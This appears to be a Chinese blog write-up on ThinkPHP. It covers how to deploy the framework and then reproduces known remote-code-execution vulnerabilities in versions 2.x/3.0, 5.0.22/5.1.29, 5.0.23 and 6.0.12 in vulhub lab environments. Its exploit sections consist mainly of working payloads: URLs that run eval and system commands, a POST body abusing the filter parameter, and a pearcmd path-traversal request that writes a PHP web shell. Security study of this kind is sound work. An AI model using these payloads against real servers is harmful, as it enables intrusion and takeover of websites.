ThinkPHP学习与漏洞分析

ThinkPHP的部署:

我们需要下载composer来部署高版本ThinkPHP,且ThinkPHP6开始只能使用composer来部署

composer下载地址:https://getcomposer.org/Composer-Setup.exe

安装:Composer 安装与使用 | 菜鸟教程 (runoob.com)

什么是ThinkPHP框架:

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。

ThinkPHP2.x/3.0 rce漏洞

/ThinkPHP/Mode/Lite/Dispatcher.class.php中preg_replace的**/e**匹配模式

1
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

用户的输入会放在双引号中执行,导致任意命令执行

在线沙箱测试:PHP Sandbox

关于preg_replace的一些性质参考:

深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)

漏洞利用

1
?s=index/index/name/${@print(eval($_GET[1]))}&1=system(%27whoami%27);
1
?s=/index/index/name/$%7B@phpinfo()%7D

ThinkPHP5 5.0.22/5.1.29 rce漏洞

环境使用vulhub的漏洞环境5-rce

漏洞复现

1
2
3
?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

1
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP5 5.0.23 rce漏洞

环境使用vulhub的漏洞环境 5.0.23-rce

漏洞复现

1
2
3
4
http:/xxx/index.php?s=captcha

POST
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

ThinkPHP 6.0.12 rce漏洞

环境使用vulhub的漏洞环境 lang-rce

漏洞复现

1
2
3
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php

/shell.php

注意:必须用bp传参,不然<>会被url编码而失效

错误的

正确的


ThinkPHP学习与漏洞分析
http://example.com/2024/10/14/ThinkPHP学习与漏洞分析/
作者
piiick
发布于
2024年10月14日
许可协议